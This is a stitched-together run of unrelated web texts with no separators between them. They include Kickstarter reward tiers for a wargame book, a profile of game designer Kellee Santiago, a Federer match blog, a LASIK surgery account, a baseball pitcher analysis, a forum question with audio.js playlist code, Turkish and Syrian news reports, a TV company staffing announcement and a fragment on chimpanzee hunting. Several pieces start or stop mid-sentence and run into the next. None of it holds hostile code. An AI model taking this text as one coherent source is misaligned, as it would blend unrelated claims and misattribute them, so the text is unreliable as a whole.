One copy of the PDF asap at the end of the campaign. Your name will also be listed in the PDF as a supporter. + All stretch goals Over £14 at retail. - May take add-ons. Estimated delivery: May 2016 £14: EARLY BIRD: A copy of the first pressing of the book plus all the PDF rewards above. + All stretch goals.
Over £25 at retail
- May take add-ons.
Estimated delivery: May 2016
PLEASE ADD £3 for uk and £5 for worldwide postage (see above pledges for info)
EARLY BIRD: A copy of the first pressing of the book plus all the PDF rewards above. + All stretch goals. Over £25 at retail - May take add-ons. Estimated delivery: May 2016 PLEASE ADD £3 for uk and £5 for worldwide postage (see above pledges for info)
£17: A copy of the first pressing of the book plus all the PDF rewards above. + All stretch goals.
Over £25 at retail
- May take add-ons.
Estimated delivery: May 2016
PLEASE ADD £3 for uk and £5 for worldwide postage (see above pledges for info)
A copy of the first pressing of the book plus all the PDF rewards above. + All stretch goals. Over £25 at retail - May take add-ons. Estimated delivery: May 2016 PLEASE ADD £3 for uk and £5 for worldwide postage (see above pledges for info) £20: A copy of the first pressing of GGA along with everything in the All the pdf’s pledges. + Two sheets of Grating + Two sheets of basing card. Enough to build eight starter armies! + All stretch Goals Over £35 at retail.
- May take add-ons.
Estimated delivery: Jun 2016 Ships anywhere in the world
A copy of the first pressing of GGA along with everything in the All the pdf’s pledges. + Two sheets of Grating + Two sheets of basing card. Enough to build eight starter armies! + All stretch Goals Over £35 at retail. - May take add-ons. Estimated delivery: Jun 2016 Ships anywhere in the world £35 : A signed copy of the first pressing of GGA along with everything in the All the pdf’s pledges. + + Two sheets of Grating + Two sheets of basing card. Enough to build eight starter armies! + All stretch Goals
Over £35 at retail.
(signed copies will not be available after the KS)
- May take add-ons.
Estimated delivery: Jun 2016 Ships anywhere in the world
: A signed copy of the first pressing of GGA along with everything in the All the pdf’s pledges. + + Two sheets of Grating + Two sheets of basing card. Enough to build eight starter armies! + All stretch Goals Over £35 at retail. (signed copies will not be available after the KS) - May take add-ons. Estimated delivery: Jun 2016 Ships anywhere in the world £65: A signed copy of the first pressing of GGA along with everything in the All the pdf’s pledges. + Two sheets of Grating + Two sheets of basing card. Enough to build eight starter armies!. + a Piece of signed and framed art from the source book (One of a kind, First come first pick system) + All stretch Goals
Over £35 at retail.
(signed copies and original art pieces will not be available after the KS)
- May take add ons
Estimated delivery: Jun 2016 Ships anywhere in the world
A signed copy of the first pressing of GGA along with everything in the All the pdf’s pledges. + Two sheets of Grating + Two sheets of basing card. Enough to build eight starter armies!. + a Piece of signed and framed art from the source book (One of a kind, First come first pick system) + All stretch Goals Over £35 at retail. (signed copies and original art pieces will not be available after the KS) - May take add ons Estimated delivery: Jun 2016 Ships anywhere in the world £100: The "personal army" reward. For this reward you will receive one "homemade starter set" by creator of the game Arthur Hannan. it will include 2 x 55 Point (starter) army of either Romans, Celts, Spartans or Egyptians.
You will be offered three army layouts for the army you choose and the preferred will be built, painted and based and then sent to you to play from the day you open the box.
You will also receive - 2 Books, 2 PDF's, All stretch goals and two sheets of Grating + Two sheets of basing card. Enough to build eight starter armies!.
This offer will not be available at retail and is over £55 at retail! The remainder of the money from this pledge will be contributed towards the second run of the books.
- May take add ons
Estimated delivery: Jun 2016 Ships anywhere in the world
A mass battle in play.
Granny Grating - A4 - £3 (£4 at retail)
ADD £3 + £2 postage (worldwide) = 1 X A4 Sheet of Granny Grating.
You will need one sheet to make roughly 3-4 Armies.
Delivery June
- A4 - £3 (£4 at retail) ADD £3 + £2 postage (worldwide) = 1 X A4 Sheet of Granny Grating. You will need one sheet to make roughly 3-4 Armies. Basing Card - A4 - £2 - (£3 at retail) (compact tough thin card)
ADD £2 + £1 postage = 1 X A4 Basing Card.
You will need one sheet of basing card to base roughly 3-4 armies.
Delivery June
One A4 sheet of both add-on materials is enough to build four starter armies!
Quick Play sheet PDF - £2 - (KS EXCLUSIVE VERSION)
ADD £2 = 1 X Quick Play sheet PDF.
Delivery May
- £2 - (KS EXCLUSIVE VERSION) ADD £2 = 1 X Quick Play sheet PDF. EXTRA BOOKS: Extra books can only be made available after we reach £ |
C talk in 2009 titled “Video Games are Art, So What’s Next?”
“Most mediums of art began as unartistic modes of communication,” Santiago said in her talk. Yet cave paintings turned into Picassos and Monets. Video games, she reasoned, were not dissimilar in their artistic evolution.
She defined art as the “process or product of deliberately arranging elements in a way that appeals to the senses or emotions.” Video games, she said, are already doing this.
Some agree with her. Others don’t. One notable detractor is famed film critic Roger Ebert who, a year after Santiago’s TED talk, penned a thorough response dismissing it. Santiago later countered.
“I think it’s great to have a high-profile person such as Roger Ebert bring this discussion to light.” She added that she provided Ebert with a copy of Flower. “I never heard if he played it or not.”
In 2010, Santiago co-started Indie Fund to “help independent developers get and stay financially independent,” as well as advised an international festival of independent gamers, IndieCade.
Since leaving thatgamecompany in 2012, Santiago has worked to broaden the “possibilities of video games…and [expand] those possibilities through new business models and opportunities.” She said video games have not come close to peaking. “I still discover games on a regular basis that surprise and amaze me and touch me and move me.”
— ∮∮∮ —
She will soon return to Richmond to talk about video games in two separate events.
First, on Friday, January 25th at 6:30 PM, Santiago will take part in a Q/A at 804RVA to kick off the 48-hour Global Game Jam event organized by RVA Game Jams. After her talk, participants will join creators across the world to design games in the annual marathon event.
The following Monday, Santiago will speak at 7:00 PM at the University of Richmond’s Camp Concert Hall ahead of the Flow, Just Flow: Variations on a Theme exhibit running from January 29th to June 28th. The exhibit features contemporary art inspired by the psychological state of flow: one’s full focus in a given activity. Work from thatgamecompany will be featured in the exhibit.
When asked about the future of video games, Santiago predicts the digital distribution of games will continue to foster the industry. So will improved technology that will make creating games easier than before, which will mean “more people will be able to make games,” she said. She believes this diversification of creators will only increase the abundance–and artfulness–of future video games.
— ∮∮∮ —
Related
— ∮∮∮ —
photo courtesy of Kellee SantiagoThe Excitement Machine.
Roger Federer def. Juan Martin del Potro 6-3, 6-4
I just had the absolute pleasure of watching Roger & Juan Martin from three rows back on the baseline in Miami this afternoon.
What was it like? Here’s five things that really stood out to me.
When you sit on the side of the court, you look far less at the back and forth of the rally. Your eyes tend to lock on the player right in front of you, evaluating their court position and shot selection with a lot more scrutiny. Here’s what I saw…
1. Magnetism
Roger felt the magnetism of the baseline more. If Juan Martin pushed him back with depth or power, Roger would respect that depth by either moving back, or staying put and abbreviating his backswing to keep contact out in front. But if he did go back, it was only temporary. He would spring back to the baseline in the blink of an eye. From there he would be back prowling with his groundstrokes, hunting the short ball. The baseline is his home base where he looks to launch as many forays possible to the net. Juan Martin preferred to stay a little further back and use his longer levers to continually crush the ball. He did not have the same urgency to move forward an inch or two when it was available as Roger did.
2. Float
It “feels” like Roger spends a massive amount of time hovering above the court than actually touching it. When he does make contact, it is only briefly. The purple concrete is simply a launching pad for another assault forward. Another opportunity to allow his body weight to drive through the ball. He is Peter Pan. He rides a magic carpet. I don’t know how he does it… but he does it. Gravity has not yet caught up to this man from Switzerland.
3. Snap
When Roger is lining up to hit a forehand, the backswing starts slowly. His left hand guides the racket back, turning his shoulders and hips automatically – triggering the kinetic chain of energy. Everything looks smooth and in control. And then the violence erupts. As the racket drops down behind him, it rapidly accelerates. The wrist lays back and he snaps hard on the ball. The arm and the wrist become a whip, transforming the fluffy ball into a cannon ball. Then the racket wraps itself around his body, and he slowly uncoils and starts getting ready for the next shot. Calm. Violence. Calm. Again. And. Again.
4. Dismiss
Neither of these two guys dwell on an error. They know it’s a critical part of the game. They know that good errors lead to good shots, that lead to trophies. When they miss a shot, they go to their strings, contemplate the error, mentally fix it in their mind, and move on as soon as possible. There is no nonsense on the court. No self abuse. No self destruction. No looking at the coaches box and losing their mind.
5. Anticipate
Hockey great, Wayne Gretzky, famously said he does not skate to where the puck is – he skates to where it is going to be. That’s what you get with these two. Federer seemed to be a little bit better at it today. He would hit a shot and recover to a part of the court that would affect the decision making of Del Potro. He would identify the probability, the percentages, and position his body to win the point without even having to hit another ball. What do I mean by that? Well, he would stand where Juan Martin wanted to hit it, which forced the Argentine to go for a little more – play closer to the lines to be effective. It also opened up another part of the court that was lower percentage. Federer baited Juan Martin with the low percentage options, and visually took away the high percentage areas. Genius. But we never see that genius if we track the ball. We miss the art of court position. Not today. Not from three rows back on the baseline.
It was an absolute please to watch the match from such close range. I hope you get a little bit of a feel for what it was like.
Cheers,
Craig
p.s. here’s some pics from the match.I have worn glasses for over 30 years, more than three quarters of my life. My prescription corrected both short sightedness (left: -6.0, right: -5.75) and astigmatism (left: 24°, right: 92°). A good pair of glasses consisting of titanium frames and wavefront-cut Zeiss glass could easily cost over £700 and then you, of course, need a spare pair of glasses and then a pair of driving glasses. Without my glasses I am essentially helpless in the middle of a big, blurry world. When my last very expensive pair of glasses finally broke in an unrepairable way, I reached for my spare pair and started looking at an alternative, laser eye surgery.
When I’d last researched this, prices were very high. Someone with my prescription could pay £8000 or more for treatment on both eyes. I was very surprised at how much prices had come down and, at the time, I even found one clinic that was offering a two-for-one deal. Both eyes treated at the same time for £2200, lifetime after-care included and you could spread the payment out over a couple of years interest free. I reached for the phone.
My initial appointment with Optimax took place in a small office just near Liverpool Street. You arrive, fill in a questionnaire and then are taken through a fairly extensive eye test. Anyone who wears glasses will be familiar with most of machinery used, the one that may be new to you is a device used to measure the thickness and curvature of your cornea. After an hour or so, I was told my eyes were suitable for the procedure and was asked if I would like to go ahead. No pressure was put on me to make a decision then and I didn’t. After a chat later that day with Lynda, I picked up the phone again and booked myself in for July 19th at Optimax’s north Finchley clinic.
The nineteenth started early as I had to be at the clinic for 8am. You turn up, the tests are all repeated, you fill in an electronic questionnaire and you have a short consultation with the surgeon, a consent formed is read, extensively initialled by you, and then you wait. I was in a group of 8 or 9 people being treated that morning and we talked about our hopes and worries, the general air was one of nervous excitement.
I was last. I’d watched everyone go in through a door and come out again about 30 minutes later, mostly looking somewhat dazed but peering around at the world around them. A couple of hours ticked by and the very hard aircon began to sap my body heat. Take a warm top with you, no matter what the weather. At long long last a nurse appeared and called my name. Off I went.
I was taken through a door into an ante-chamber next to the operating room. I was sat on a chair, a hairnet put on my head and asked to confirm who I was and what procedure I was here for, Intralase Wavefront LASIK. I got the answers right and some anaesthetic drops were applied to my eyes. I sat with my eyes closed for about 5 minutes and then we headed in to the operating theatre.
In the centre of the room was a large green bed with a headrest. To the left and right of the head end were two instruments lined up vertically above the head area. I lay down in the middle, got as comfortable as one can be and waited. More drops were applied to my eyes, people talked around me, occasionally checking I was okay and then they were ready to begin.
The first part of the procedure is to cut a flap in the cornea. This is done with a laser and your eye needs to be immobilised as much as possible. My head was moved under one of the instruments which looked, from my perspective, like the inside of a bowl covered in very bright LEDs. I was asked to look at the centre of these and a kind of suction cup was placed on my eye. What followed next was a sensation of pressure on my eyeball. What I could see was rather like the lights you see if you press on your eyes, bursts of light and colour, but this was more intense that you can imagine it might be. It was very uncomfortable but totally painless. This was repeated for my right eye.
The second part of the operation is to lift the flap that has been cut and reshape the cornea. I was moved under the second instrument, my eye taped open and asked to look at a green light above me. After a few moments a red light was switched on and I could see swirling patterns of dots. This lasts perhaps 30 seconds and then the flap was replaced and a bandage contact lens was put in. Again, this was repeated for my right eye. Again, this was all certainly uncomfortable but completely painless.
I was given a couple of minutes to recover and then I got up and walked back into the waiting area. The world was a blurry haze, lights had enormous penumbras around them, bright lights were painful to look at. I was given some time in a recovery room and was issued with my drops.
The Drops Regime is the most tiresome part of the whole experience. You put in Voltarol drops every 30 minutes for 2 hours. Then you put in an antibiotic 4 times a day for 7 days. You also need to put in steroid drops every 4 hours for 7 days and then gradually reduce the dosage. You must wait at least 15 minutes between the different medicated drops and on top of that you need to put in refresh drops about once an hour.
I left the clinic about an hour after treatment, the world seeming very foggy and bright. The advice was to go home and rest as much as possible. The anaesthetic started to wear off about half-way home and trying to keep my eyes open was rather like the sensation you get when chopping strong onions. Not nice, but manageable. I spent the rest of the day in a dark room. I was unable to read, unable to go outside, unable to use a computer. The only real problem I had was boredom.
You might imagine you get a wonderful “I can see!” moment the next morning when you wake up. I’m sorry, you don’t. This is partly because you have been wearing bandage lenses for 24 hours (even seasoned contact lens wearers know how horrible accidentally sleeping in lenses can be), but mostly because you have to wear eye shields for the first 7 days. Once I got the shields off and got refresh drops into my eyes then I began to look around the world and I knew my glasses would be going in the bin in very short order. The world was painfully bright and a fine vaseliney haze was smeared over everything but through the murk, especially for distance, I could see.
You mustn’t get water in your eyes for the first 7 days or so, buy a pair of swimming goggles.
That was 3 weeks ago. The distance blur and haze reduced over the first 5 days, I felt safe to drive after 2. The near-vision blur is still with me but is improving as each day passes. It can take 6 weeks to 3 months for this to sort itself out so I’m well with in the target window. My eyes tire much more easily than they used to, but this is because I spend so much time in front of a monitor and this is not ideal for newly lasered eyes. Every so often my near-vision clears completely and the whole world is beautiful and clear and pin-sharp. One day it’s going to stay like that.
I’m very happy with the result so far and I can’t recommend Optimax highly enough. They have been incredibly helpful, helped me make an informed choice and I felt safe putting my eyes in their hands. If you’re thinking of getting this done, I have some £500 discount vouchers, get in touch.Thinking so much about Yovani Gallardo is in part a function of context. Had Gallardo signed a couple months back, he probably wouldn’t have drawn all that much coverage, but the longer he remained available, the less news he was competing against. Gallardo became increasingly interesting on a relative scale not because he was getting more interesting, but because the landscape became less interesting around him. I know that Gallardo isn’t very exciting, from an analytical perspective. I know he’s no one’s idea of a big splash.
But, here’s the deal. For one thing, we need to write about baseball! For another thing, Gallardo has finally signed with the Orioles, for three years and $35 million. They give up a draft pick, and so on and so forth. It’s a risky move, and quite possibly or probably not a good one. And for a last thing, there’s a bit of a bias in the conversation, because so much talk about Gallardo focuses on his declining strikeouts. And that’s important — strikeouts are important — but there’s more that’s been going on. Yovani Gallardo is about more than his strikeout rate, and just in the interest of presenting him as something fuller than one-dimensional, I’d like to show you three more things. They might not do much to predict the future, but they at least allow you to understand him a little better.
1. Gallardo pitches to a friendly strike zone
On several occasions before, I’ve written about a guy’s difference between actual strikes and expected strikes, based on zone rates and out-of-zone swings. It’s something that can be pretty easily calculated using numbers we have on our leaderboards, and then you can get an idea of framing and strike-zone friendliness. It’s easier to talk about when I show you numbers, so, check out Gallardo’s last five seasons.
2011: +2.8 extra strikes above average per 100 pitches
+2.8 extra strikes above average per 100 pitches 2012: +2.9
+2.9 2013: +2.8
+2.8 2014: +2.9
+2.9 2015: +1.6
Right away, that all seems good, although the scale is unfamiliar since this isn’t a popular metric. For each year, I looked at every pitcher who threw at least 100 innings. In 2011, Gallardo ranked seventh. In 2012, he ranked first. In 2013, he ranked fourth. In 2014, he ranked third. And in 2015, he ranked 18th, out of 141. That might look like a little decline between the last two years, but of course something changed: Gallardo went from the Brewers to the Rangers, so he went from Jonathan Lucroy to not Jonathan Lucroy. This past year, Gallardo pitched to average or below-average pitch-framers, and still his called strike zone was more friendly than average.
It could be a fluke. It could be those Rangers catchers just over-performed with Gallardo on the mound. The way I like to interpret it, though, is as a proxy of command. Gallardo got himself some extra strikes, even without great receivers, and I suspect a big part of that is a product of his ability to work around edges. Obviously, his ability to miss bats has declined. Obviously, he’s remained effective enough. That shouldn’t be a coincidence.
2. Gallardo can’t pick a release point
Pitchers talk a lot about release-point consistency. They talk about losing their release point, and they talk about finding their release point. Maybe the most important thing for any pitcher is finding and staying at a certain release point within each game, and Gallardo seems to have done that well enough. But between games, or at least between some months, Gallardo has had changes of heart. This isn’t an arm-angle thing. Gallardo still has a slot that’s over the top. He’s just bounced between opposite sides of the rubber. Some images from the last three years:
Early in his career, Gallardo used to pitch from the right side of the rubber. He shifted to the left in the middle of 2010, then he went back to the right in the middle of 2013. Then he went back to the left in the middle of 2014, then he shifted again, back to the right, for the entirety of 2015. When pitchers change sides of the rubber, it’s usually about trying to open up an inside or outside edge. I’m not sure why Gallardo has bounced around, since as an over-the-top pitcher he should already generate smaller-than-usual platoon splits. But these things don’t happen by accident. Conversations have led to these changes, and Gallardo took them into meaningful baseball games. Based on last season, you’d think Gallardo will spend this coming year working from the right side. But you never know when he might flip again.
3. Gallardo just pitched lefties really differently
Here’s one thing you could say: lefties just hit for their highest average against Gallardo since 2010. They also hit for their highest wOBA against Gallardo since 2010. So, in that sense, which is an important sense, Gallardo wasn’t great against opposite-handed hitters. But that doesn’t mean he didn’t make a fascinating adjustment. Any changes Gallardo made against righties were fairly subtle. Lefties, however, saw fewer four-seamers, and fewer curveballs, and more changeups, and more sliders. Consider those sliders. Gallardo now throws either a slider and a cutter, or he throws a hybrid. The label isn’t what’s important. The usage is what’s important. Pulling from Baseball Savant, here’s where the pitches labeled as sliders used to go against lefties (from the catcher’s perspective):
And here’s where the pitches labeled as sliders just went:
Used to be, Gallardo tried hard to keep the slider down and away. Last season, there was a dramatic shift, which saw Gallardo more the pitch up and in on the hands. Basically, Gallardo used it more like a traditional cutter. Again, the outcomes weren’t fantastic. It’s not like this change allowed Gallardo to mow lefties down. As a matter of fact, his strikeout rate against lefties was well beneath his previous career low. But on the other hand, in 2013, Gallardo allowed the fifth-highest hard-hit rate against lefties in baseball. Last year, he allowed the sixth-lowest hard-hit rate against lefties in baseball. So the pitch did some good, and since the adjustment was fairly new to him, there could be more progress in the year ahead. Without strikeouts, Gallardo will need to do everything possible to keep runs off the board, and at least last year he pulled it off.
Overall, I still don’t trust him very much. I do like strikeouts, maybe too much, but the fact of the matter is that without strikeouts and without a tremendously low walk rate, a pitcher has a narrow margin of error. Gallardo is playing with fire, and there’s a pretty short list of pitchers who’ve been able to have sustained success with Gallardo’s peripherals. That being said, Gallardo very clearly isn’t stubborn; he’s made various adjustments to try to keep his head above water, and he’s kept himself effective and relevant. I’m not sure how much longer he has, but I’m pretty sure he’ll get the absolute most out of himself.I have been using audio.js to make dynamic playlist. When a user clicks on a link in an Un-Ordered List, it is added to a Ordered list ( <ol> ) that servers a the audio players playlist.
I have the jQuery working, adding the new list item from the Un-Ordered list to the Ordered list. However, the player does not play the newly-added song when clicked, and it doesn't go to it as the next track.
The audio player only plays the songs that were initially in its playlist when the website was loaded, but does not recognize the songs I have added after loading. Any help?
Here is a link to the audio.js example playlist: http://kolber.github.io/audiojs/demos/test6.html
Here is a link to my version with jQuery-added songs: http://tinyurl.com/kg9clpb
Audio.js Demo Source Code for setting up player:
<script> $(function() { // Setup the player to autoplay the next track var a = audiojs.createAll({ trackEnded: function() { var next = $('ol li.playing').next(); if (!next.length) next = $('ol li').first(); next.addClass('playing').siblings().removeClass('playing'); audio.load($('a', next).attr('data-src')); audio.play(); } }); // Load in the first track var audio = a[0]; first = $('ol a').attr('data-src'); $('ol li').first().addClass('playing'); audio.load(first); // Load in a track on click $('ol li').click(function(e) { e.preventDefault(); $(this).addClass('playing').siblings().removeClass('playing'); audio.load($('a', this).attr('data-src')); audio.play(); }); // Keyboard shortcuts $(document).keydown(function(e) { var unicode = e.charCode? e.charCode : e.keyCode; // right arrow if (unicode == 39) { var next = $('li.playing').next(); if (!next.length) next = $('ol li').first(); next.click(); // back arrow } else if (unicode == 37) { var prev = $('li.playing').prev(); if (!prev.length) prev = $('ol li').last(); prev.click(); // spacebar } else if (unicode == 32) { audio.playPause(); } }) }); </script>
HTML for Aud-oplayer and Both lists:
<audio ></audio> <h2>Playlist</h2> <ol id="userPlaylist"> <li><a href="#" data-src="http://kolber.github.io/audiojs/demos/mp3/02-juicy-r.mp3">dead wrong intro</a></li> <li><a href="#" data-src="http://kolber.github.io/audiojs/demos/mp3/02-juicy-r.mp3">juicy-r</a></li> <li><a href="#" data-src="http://kolber.github.io/audiojs/demos/mp3/03-its-all-about-the-crystalizabeths.mp3">it's all about the crystalizabeths</a></li> <li><a href="#" data-src="http://kolber.github.io/audiojs/demos/mp3/04-islands-is-the-limit.mp3">islands is the limit</a></li> <li><a href="#" data-src="http://kolber.github.io/audiojs/demos/mp3/05-one-more-chance-for-a-heart-to-skip-a-beat.mp3">one more chance for a heart to skip a beat</a></li> <li><a href="#" data-src="http://kolber.github.io/audiojs/demos/mp3/06-suicidal-fantasy.mp3">suicidal fantasy</a></li> <li><a href="#" data-src="http://kolber.github.io/audiojs/demos/mp3/07-everyday-shelter.mp3">everyday shelter</a></li> <li><a href="#" data-src="http://kolber.github.io/audiojs/demos/mp3/08-basic-hypnosis.mp3">basic hypnosis</a></li> <li><a href="#" data-src="http://kolber.github.io/audiojs/demos/mp3/09-infinite-victory.mp3">infinite victory</a></li> <li><a href="#" data-src="http://kolber.github.io/audiojs/demos/mp3/10-the-curious-incident-of-big-poppa-in-the-nighttime.mp3">the curious incident of big poppa in the nighttime</a></li> <li><a href="#" data-src="http://kolber.github.io/audiojs/demos/mp3/11-mo-stars-mo-problems.mp3">mo stars mo problems</a></li> </ol> <h3>Songs Not it Playlist - Click to add to Playlist</h3> <ul id="mainSite"> <li><a href="#" data-src="http://www.jussbuss.tv/testing/sapi/mp3/john-fenton_dive-table.mp3">john-fenton_dive-table</a></li> </ul>
My code for adding a song from another list on click:Turkish government cannot hide corruption file forever: PM's advisor
Cansu Çamlıbel ANKARA
Prime Minister Ahmet Davutoğlu's adviser, Etyen Mahçupyan.
The Turkish government will at some point address the public on the issue of corruption and this should be both convincing and transparent, according to Etyen Mahçupyan, a chief adviser to Prime Minister Ahmet Davutoğlu.“No parties or governments can escape from this forever. This is not a file that can be hidden forever,” Mahçupyan said in an interview with daily Hürriyet.“Avoiding such an explanation would have higher costs to the AKP [the ruling Justice and Development Party],” he added.“I do not think these [corruption claims] can reach [President Recep] Tayyip Erdoğan, but still some people are concerned that this might turn into an argument that could be used in the election campaigns,” Mahçupyan said, referring to the general elections scheduled for June 2015. Erdoğan, now president, will not run in the elections for the Prime Ministry, but he has repeatedly said he would have close links with the executive power.The corruption claims cover a graft operation that began in December 2013, covering four Cabinet ministers, their sons and other bureaucrats. The legal charges against the former ministers have been dropped, but a parliamentary inquiry is ongoing.If the government does not press harder on the corruption claims, it will face problems in the international arena, Mahçupyan also told Hürriyet, adding that a “realistic view would expect strong government moves on corruption after the elections.”The prime minister's adviser, appointed to his role at the end of October, ruled out claims that people people have a right to feel aggrieved under the AKP.“I think just the opposite. I have become freer under AKP rule, both as an Armenian and as an intellectual,” Mahçupyan said.BEIRUT (Reuters) - Syria’s conflict spilled further into Lebanon on Saturday when mortar fire from President Bashar al-Assad’s forces hit villages in the north, killing five people after rebels crossed the border to seek refuge, residents said.
Rebels fighting to unseat Assad have used north Lebanon as a base and his forces have at times bombed villages and even pursued insurgents over the border, threatening to stoke tension in Lebanon, whose sectarian rifts mirror those in Syria.
Residents of Lebanon’s Wadi Khaled region said several mortar bombs hit farm buildings five to 20 km (3 to 12 miles) from the border at around 2 a.m. At midday villagers reported more explosions and said they heard gunfire close to the border.
In the village of al-Mahatta, a house was destroyed, killing a 16-year-old girl and wounding a two-year old and a four-year old, family members told Reuters. A 25-year-old woman and a man were killed in nearby villages, residents said.
Two Bedouins were killed in the village of Hishe, which straddles a river demarcating the border, when two rocket-propelled grenades fired from within Syria hit their tent, according to local residents.
Lebanon’s army confirmed one of the deaths and said several Syrian shells had landed in Lebanese territory, but had no further information. Lebanese President Michel Suleiman issued a statement regretting the deaths and promising an investigation.
Syria’s bloodshed has also encroached on Turkey, a much bigger, more powerful neighbor that once backed Assad but turned against him over his violent repression of unrest.
Turkey has reinforced its border and scrambled fighter aircraft several times since Syria shot down a Turkish reconnaissance jet on June 22 over what Damascus said was Syrian territorial waters in the Mediterranean. Ankara said the incident occurred in international air space.
DIPLOMATIC IMPASSE
The diplomatic stalemate that has frustrated international efforts to bring about a peaceful transition in Syria persisted on Saturday as China joined Russia in rejecting a U.S. accusation that Beijing and Moscow were obstacles to a solution.
Related Coverage Syrian artillery strikes north Lebanon, three killed
In Syria, the army bombarded towns across northern Aleppo province on Saturday in a concerted effort to root out insurgents who have taken control of some areas, the anti-government Syrian Observatory for Human Rights said.
“The bombing is the heaviest since the start of military operations in rural Aleppo in an attempt to control the region after regular Syrian army forces suffered heavy losses over the past few months,” the British-based activist group reported.
It said three people had died, including two rebels.
The official Syrian news agency SANA said troops foiled infiltration attempts by armed men from Turkey and Lebanon on Friday. It said one clash “resulted in the killing, injury of dozens of the infiltrated gunmen”.
In Idlib province, SANA said, an armed terrorist group was prevented from infiltrating from Turkey in Harem region. It quoted a source as saying a number were killed “while the rest managed to flee back into the Turkish territories”.
The Observatory said many families had been displaced and water, electricity and medical supplies were running short.
DANGER AROUND ALEPPO
Aleppo, Syria’s second largest city and commercial hub, has been largely spared of the violence. But the outskirts of the city and the wider province have seen rebels gaining territory since the uprising began 16 months ago.
SANA reported a clash “with an armed terrorist group in Azaz area north of Aleppo as it was attacking the citizens and perpetrating killings”. It said eight gunmen were killed and six cars equipped with machineguns plus a stolen ambulance were destroyed. The agency named the dead.
Opposition activists say at least 15,000 people have been killed since the uprising began. Assad says the rebels are foreign-backed terrorists who have killed thousands of army and police troops in hit-and-run attacks and roadside bombings.
Relatives of Nadia al Ouisi mourn during her funeral in Wadi Khaled town after shelling by Syrian forces towards villagers houses in North Lebanon July 7, 2012. Syrian artillery shelling struck a number of houses in Wadi Khaled area, killing a teenager, 16-year-old Nadia al-Ouishi and injuring five others, the National News Agency reported. REUTERS/ Roula Naeimeh
The Observatory said 93 people, mostly civilians, were killed across Syria on Friday, when protesters took the streets to call for a “people’s liberation war.”
Syria’s crisis began with street protests against Assad and evolved largely into an armed insurgency after he tried to crush unrest by military force. It has become increasingly sectarian in nature with rebels from Syria’s Sunni Muslim majority pitted against Assad’s minority Alawites, a branch of Shi’ite Islam, dominating the military and security services.
CHINA BRISTLES AT CLINTON’S ACCUSATION
Russia and China have repeatedly used veto power at the U.N. Security Council to block international attempts to push Assad to relinquish power to make way for a democratic transition in the pivotal Arab country.
At a “Friends of Syria” meeting grouping Assad’s Western and Arab opponents, Clinton urged them to make Russia and China “pay a price” for helping the authoritarian leader stay in the office he, and his late father before him, have held for 42 years. ID:nL6E8I62J4]
On Saturday, Chinese Foreign Ministry spokesman Liu Weimin shot back: “Any words and deeds that slander China and sow discord between China and other countries will be in vain.”
Russia and China say they are committed to the peace plan of U.N. envoy Kofi Annan that prescribes national dialogue, but reject the position of Western powers and their Gulf Arab allies that Assad must step down to enable reform in Syria.
Annan told French daily le Monde in an interview published on Saturday that Western criticism of Russia was diverting attention from the role of other countries in backing Assad and arming his soldiers, notably Iran.
“Russia has influence, but I don’t think that events will be determined by Russia alone. What strikes me is that there is so much talk about Russia and much less about Iran, and little is said about other countries that are sending money and weapons,” he said.
“All of these countries say that want a peaceful solution, but they undertake individual and collective actions that undermine the very meaning of (U.N.) Security Council resolutions,” he added.
Assad has been Shi’ite Iran’s main ally in the Arab world.
Slideshow (16 Images)
Annan conceded that U.N. efforts to resolve the crisis so far had been a failure. “Clearly, we have not succeeded. And maybe there is no guarantee that we will succeed,” he said.
News on Friday that one of Assad’s personal friends had defected and was headed for exile in France was hailed by Clinton as proof that members of the Damascus leadership were starting to “vote with their feet” and leave a sinking ship.
Manaf Tlas, a Republican Guard brigadier and son of the longtime defence minister under Assad’s father Hafez, has yet to surface abroad or clearly to throw his lot in with the rebels.
But his desertion, leaked by family friends, was confirmed by the French government, giving a boost to the “Friends of Syria” conference it hosted in Paris where participants agreed to “massively increase” aid to Syria’s opposition.As it makes a further push into scripted content, production company World of Wonder (RuPaul’s Drag Race) is strengthening its development and creative team with three key exec promotions and a new hire.
The company has upped Tom Campbell to Chief Creative Officer, Nick Perlmuter to SVP Current and Rushie Perera to VP Development. In addition, the company has hired Laura Civiello as SVP Factual Development & Current.
“In the past 10 years, the business has changed immensely, and World of Wonder has always stayed ahead of the curve,” said Campbell. “By promoting key players and hiring like-minded creatives, we’re prepared to ramp up our scripted and digital development and continue to push the limits of our award-winning unscripted programming.”
Campbell, a veteran TV producer and network executive, has spent the past 10 years at World of Wonder. During his tenure, he has served as executive producer for the Emmy-winning RuPaul’s Drag Race (Logo), Million Dollar Listing LA & NY (Bravo), Big Freedia: Queen of Bounce (Fuse), Island Hunters (HGTV) and other series for VH1, Sundance, Oxygen, WeTV, OWN, NatGeo, E! and TLC. Along with heading up development at World of Wonder, Campbell co-hosts The WOW Report for RadioAndy on SiriusXM.
Perlmuter has produced, written and directed series and specials in 19 countries across five continents for NBC, CBS, Fox, AMC, Showtime, Discovery, Bravo, History, HGTV, TLC, Travel Channel, PBS, Animal Planet, DIY and National Geographic, among others. He joined World of Wonder in 2013 after 15 years as a showrunner in multiple genres, including reality, comedy and documentary.
With World of Wonder since 2010, Perera has successfully developed numerous projects, including Transcendent (Fuse), Million Dollar Listing SF (Bravo) and Then & Now with Andy Cohen (Bravo). She previously worked in development at Maverick Films.
Civiello joins WOW after 12 years at Comcast and NBCUniversal guiding development strategies for Esquire Network and G4TV. Original series under her purview included Friday Night Tykes, Car Matchmaker, Knife Fight, The Runner Up, among others. She was also responsible for acquiring the global television franchise Ninja Warrior and developing the format for the U.S. American Ninja Warrior, which she oversaw for both Esquire Network and its predecessor G4TV, and since has become a primetime hit for NBC. She was also behind the praised documentary series Bomb Patrol: Afghanistan.
In addition |
hunts, 356 of which targeted red colobus. These hunts were very successful: 912 colobus were killed, an average of 3 per hunt.
It has been clear for several years that the red colobus population has declined as a result. A 2011 study found that the population fell by 89% between 1975 and 2007. In the late 1990s the chimps were killing up to half the red colobus population every year.
"They have been so effective as predators that they really have knocked down the local population," says Watts.
"Red colobus are easier to catch than other monkeys," says Watts. That might be partly because they tend to stand their ground against chimps, rather than running away. "That can work, but not if there are 20 chimps trying to catch them."
The chimpanzee population in Ngogo is unusually large, hovering around 190, which means the chimps hunt in large groups and can overwhelm the colobus.
Watts and Mitani have now found that the chimps are starting to switch to alternative prey. Red colobus hunting reached a peak in 2002, and since then they have been hunting red colobus less often, and hunting other species more.
The new results are published in the International Journal of Primatology.
The second-most-hunted species are monkeys called mantled guerezas. Watts and Mitani have found that these seem to be becoming less common, suggesting that the chimps are causing their population to decline as well.
